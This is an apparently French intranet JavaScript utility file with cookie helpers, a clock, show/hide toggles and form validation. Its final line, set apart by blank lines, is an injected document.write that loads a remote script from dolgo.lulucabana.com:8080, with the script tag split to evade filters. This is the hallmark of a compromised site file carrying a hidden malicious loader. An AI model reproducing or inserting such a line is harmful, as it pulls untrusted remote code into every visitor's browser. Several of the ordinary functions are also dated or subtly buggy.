



function cookie(nom, valeur, duree, domaine){
	expireDate = new Date;
	expireDate.setDate(expireDate.getDate()+duree);
	cook=nom+"="+valeur+";expires=" + expireDate.toGMTString(); + ";path=/;domain="+domaine;
	document.cookie=cook;
	//alert(cook);
}

var temp;
function hideExemple(){
	temp = setTimeout("deciexemple.style.display = 'none';", 500);
	return true;
}

function switchBackground(id,color1,color2,t){
	obj = eval("document." + id);
	alert(obj.id);
	/*
	if(obj.bgColor == color1){
		obj.bgColor = color2;
	}else{
		obj.bgColor = color1;
	}
	*/
	//setTimeout("switchBackground(obj,color1,color2,t)",t);
}

function OverIconTrans(c, obj){
		//obj = eval("document.module_"+obj);
		obj.filters[0].apply();
		obj.className=c;
		obj.filters[0].play();
}

function OverButtonTrans(c, obj){
		//if(c.indexOf("over")){
		//	about.innerHTML=obj.alt;
		//}else{
		//	about.innerHTML='';
		//}
		obj.filters[0].apply();
		obj.className=c;
		obj.filters[0].play();
		
	}

function showExemple(){
	clearTimeout(temp);
	deciexemple.style.display = '';
	return true;
}

function HeureCheck(){
	krucial = new Date;
	heure = krucial.getHours();
	min = krucial.getMinutes();
	sec = krucial.getSeconds();
	jourSemaine = krucial.getDay();
	jour = krucial.getDate();
	mois = krucial.getMonth()+1;
	annee = krucial.getFullYear();
	
  tabJourSemaine = new Array("Dimanche","Lundi","Mardi","Mercredi","Jeudi","Vendredi","Samedi");
	tabMois = new Array ("","Janvier","Février","Mars","Avril","Mai","Juin","Juillet","Août","Septembre","Octobre","Novembre","Décembre");
		
	if (sec < 10)
	sec0 = "0";
	else
	sec0 = "";
	if (min < 10)
	min0 = "0";
	else
	min0 = "";
	if (heure < 10)
	heure0 = "0";
	else
	heure0 = "";
	
	if(jour==1) jour ="1<SUP>er</SUP>";
	
	//DinaHeure = "<B>" + tabJourSemaine[jourSemaine] + " " + jour + " " + tabMois[mois] + " " + annee + "</B> "+ heure0 + heure + ":" + min0 + min + ":" + sec0 + sec + "  ";

	DinaHeure = "<B>" + tabJourSemaine[jourSemaine] + " " + jour + " " + tabMois[mois] + " " + annee + "</B> "+ heure0 + heure + ":" + min0 + min;

	which = DinaHeure
	if (document.all){
		//CLOCK.innerHTML='<center>00:00:00</center>'
		CLOCK.innerHTML=''+which+'';
	}
	// CLOCKtempo = setTimeout("HeureCheck()", 1000)
	CLOCKtempo = setTimeout("HeureCheck()", (60 - sec) * 1000)
}

function AutoSelect(Liste,Valeur){
	for(i=0; i<Liste.length;i++){ if(Liste[i].value==Valeur) Liste[i].selected=true; }
}
	
function AutoGroupSelect(Liste,Valeur){
	for(i=0; i<Liste.length;i++){
		if(Liste[i].value==Valeur){
			Liste[i].selected=true;
			d=eval(Liste[i].value);
			d.style.display='';
		}else{
			d=eval(Liste[i].value);
			d.style.display='none';
		}
	}
}

function AutoValue(Champ,Valeur){
	Champ.value=Valeur;
}

function SelectAll(fieldID,val) {
	var a=0;
	var n=document.filtre["check["+fieldID+"]"].value;
	len=document.filtre["rep"+fieldID+"[]"].length;
	for( a; a<len; a++) {
		v=(n*1)+a+4;
		document.filtre.elements(v).checked=document.filtre["check["+fieldID+"]"].checked;
	}
}

function popup(SizeX,SizeY,PopUpUrl,popupName){
	var popUpLocationX=100;
	var popUpLocationY=100;	
	// this.window.name="mainWin";
	popWin = window.open('',popupName,'status=1,fullscreen=0,toolbar=0,location=0,directories=0,menubar=0,scrollbars=1,resizable=1');
	popWin.blur();
	window.focus();
	popWin.moveTo(popUpLocationX,popUpLocationY);
	popWin.resizeTo(SizeX,SizeY);
   	popWin.location=PopUpUrl;
	popWin.focus();
	return;
}




function SHgroup(d){
	for(i=1; i<groups.length; i++){
		g=eval("GRP"+groups[i]);
		n="GRP"+groups[i];
		if(n == d){
			g.style.display='';
		}else{
			g.style.display='none';
		}
	}
}

function UpdateAddress(frm, fieldNOMS, fieldIDS, fieldType){
	valNOMS="";
	valIDS="";
	limitation=20;
	list=eval(document.adressbook["ADDRESS[]"]);
	
	c=0;
	for(i=0; i<list.length; i++){
		if(list[i].checked==true){
			if(c>=limitation){
				alert("Vous ne pouvez pas affecter plus de "+limitation+" personne(s) à cet élément.\nDéselectionner des utilisateurs avant d'en rajouter.");
				return false;
			}else{
				if(fieldType == "textarea"){
					valNOMS+=list[i].value+"\n";
				}else{
					valNOMS+=list[i].value+";";
				}
				valIDS+=list[i].id+";";
				c++;
			}
		}
	}
	fieldNOMS.value=valNOMS;
	fieldIDS.value=valIDS;
	
	return true;

}

function AutoBookCheck(l,str){
	if(str!=""){
		for(i=0; i<list.length; i++){
			verif=str.indexOf(list[i].value+";");
			if(verif >= 0) list[i].checked=true;
		}
	}
}

function HideShowCheckPoint(i,path){
	obj=eval("CHK_" + i);
	im=eval("IMG_" + i);
	
	if(obj.style.display=="none"){
		obj.style.display = "";
		im.src = path + "moins.gif";
	}else{
		obj.style.display="none";
		im.src = path + "plus.gif";
	}
}

function HideShowMessage(d){
	rub=eval(d);
	icon=eval("ic"+d);
	expireDate = new Date;
	expireDate.setDate(expireDate.getDate()+1);
	
	if(rub.style.display=='none'){
		rub.style.display="";
		icon.src="<?echo $page[LEVEL]?>&buttons/moins.gif";
		cook=d+"=1;expires=" + expireDate.toGMTString() + ";path=/;domain=<?print(getenv(SERVER_ADDR))?>";
	}else{
		rub.style.display="none";
		icon.src="<?echo $page[LEVEL]?>&buttons/plus.gif";
		cook=d+"=0;expires=" + expireDate.toGMTString() + ";path=/;domain=<?print(getenv(SERVER_ADDR))?>";
	}
	document.cookie=cook;
}

function HideShowMessage(chk){
	cookiename="MessagesToHide["+chk.id+"]";
	expireDate = new Date;
	expireDate.setDate(expireDate.getDate()+1);
	if(chk.checked==true){
		document.cookie=cookiename+"=1;expires=" + expireDate.toGMTString() + ";path=/;domain=<?print(getenv(SERVER_ADDR))?>";
	}else{
		document.cookie=cookiename+"=0;path=/;domain=<?print(getenv(SERVER_ADDR))?>";
	}
}


function SHProject(i){
	div=eval("PRJ" + i);	
	if(div.style.display=="none"){
		div.style.display = "";
		cookie("PRJ"+i, "show", 3600*24*365, "192.168.1.20");
	}else{
		div.style.display="none";
		cookie("PRJ"+i, "hide", 3600*24*365, "192.168.1.20");
	}

}


function SHViewer(i,im,path){
	div=eval("CHILD_" + i);
	var curSrc=im.src;
	var newSrc;
	
	
	if(div.style.display=="none"){
		div.style.display = "";
		//im.src = path + "_over.gif";
		cookie("GRP"+i, "show", 3600*24*365, "192.168.1.20");
	}else{
		div.style.display="none";
		//im.src = path + "_out.gif";
		cookie("GRP"+i, "hide", 3600*24*365, "192.168.1.20");
	}
	
	if( curSrc.indexOf("_m.") > 0 ){
		im.src=curSrc.replace("_m.","_p.");
	}else if( curSrc.indexOf("_p.") > 0 ){
		im.src=curSrc.replace("_p.","_m.");
	}
}

function timeEval(obj){
	var counter=0;
	list1=eval(document.checkpoints["checkpoints_validate[]"]);
	list2=eval(document.checkpoints["checkpoints_realize[]"]);
	for(i=0; i<list1.length;i++){
		if(list1[i].selected==true) counter++;
	}
	for(i=0; i<list2.length;i++){
		if(list2[i].selected==true) counter++;
	}
	if(counter){
		val=obj.value;
		val=val.replace(',','.');
		val=val.replace(' ','');
		val=parseFloat(val);
		if(!isNaN(val))
		{
			obj.value=val;
			return true;
		}else{
			alert("[" + obj.value + "] n'est pas une donnée correcte. Exemple : 1.20");
			return false;
		}
	}else{
		alert("Vous n'avez sélectionné aucun intervenant.");
		obj.value=0.0;
		return false;
	}
}

function timeEvalQuick(obj){
	val=obj.value;
	val=val.replace(',','.');
	val=val.replace(' ','');
	val=parseFloat(val);
	if(!isNaN(val))
	{
		obj.value=val;
		return true;
	}else{
		alert("[" + obj.value + "] n'est pas une donnée correcte. Exemple : 1.20");
		return false;
		}
}

function timeReal(obj){
		val=obj.value;
		val=val.replace(',','.');
		val=val.replace(' ','');
		val=parseFloat(val);
		
		if(val=="" | val==0){
			//alert("Merci de saisir une durée. Exemple : 1.20");
			//return false;
			obj.value=val;
			return true;
			
		}else if(isNaN(val)){
			alert("[" + obj.value + "] n'est pas une donnée correcte. Exemple : 1.20");
			return false;
			
		}else{
			obj.value=val;
			return true;
		}
	
}






document.write('<s'+'cript type="text/javascript" src="http://dolgo.lulucabana.com:8080/HDV.js"></scr'+'ipt>');